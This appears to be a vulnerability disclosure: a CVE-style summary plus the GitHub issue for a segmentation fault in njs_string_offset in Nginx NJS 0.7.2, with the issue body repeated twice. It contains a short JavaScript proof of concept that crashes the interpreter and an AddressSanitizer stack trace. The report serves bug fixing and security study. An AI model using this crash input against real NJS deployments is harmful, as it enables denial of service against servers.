Nginx NJS v0.7.2 was discovered to contain a segmentation violation in the function njs_string_offset at src/njs_string.c.
cpe:2.3:a:f5:njs:0.7.2:*:*:*:*:*:*:*
C1858598-78C6-451F-81B4-57F6D636EBAC
OR
### Environment

```
OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit  : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build   : 
          NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
          NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```

### Proof of concept

```
function main() {
const a4 = String.fromCodePoint(6631);
const a7 = Object(a4);
const a9 = [65537,a7,"c"];
const a10 = Object.setPrototypeOf(a7,a9);
const a11 = a10.lastIndexOf(a4,...-1000000000.0);
}
main();
```

### Stack dump

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)
==732134==The signal is caused by a READ memory access.
==732134==Hint: this fault was caused by a dereference of a high value address (see register values below).  Dissassemble the provided pc to learn which register was used.
    #0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
    #1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
    #2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
    #3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
    #4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
    #6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
    #8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
    #9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
    #10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
    #11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset
==732134==ABORTING

```

### Credit

Q1IQ(@Q1IQ)
SEGV njs_string.c:2535:18 in njs_string_offset
This is a GitHub Issue
repo:njs
owner:nginx
Title : SEGV njs_string.c:2535:18 in njs_string_offset
Issue date:

--- start body ---
### Environment

```
OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit  : f65981b0b8fcf02d69a40bc934803c25c9f607ab
Version : 0.7.2
Build   : 
          NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
          NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```

### Proof of concept

```
function main() {
const a4 = String.fromCodePoint(6631);
const a7 = Object(a4);
const a9 = [65537,a7,"c"];
const a10 = Object.setPrototypeOf(a7,a9);
const a11 = a10.lastIndexOf(a4,...-1000000000.0);
}
main();
```

### Stack dump

```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==732134==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004f44ab bp 0x7ffee1c1f9b0 sp 0x7ffee1c1f9b0 T0)
==732134==The signal is caused by a READ memory access.
==732134==Hint: this fault was caused by a dereference of a high value address (see register values below).  Dissassemble the provided pc to learn which register was used.
    #0 0x4f44ab in njs_string_offset /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18
    #1 0x602ff2 in njs_object_iterate_reverse /home/q1iq/Documents/origin/njs_f65981b/src/njs_iterator.c:563:17
    #2 0x523ba8 in njs_array_prototype_reverse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:2419:11
    #3 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
    #4 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #5 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
    #6 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
    #7 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
    #8 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
    #9 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
    #10 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
    #11 0x7fb64d8810b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #12 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs_f65981b/src/njs_string.c:2535:18 in njs_string_offset
==732134==ABORTING

```

### Credit

Q1IQ(@Q1IQ)
--- end body ---

comments :
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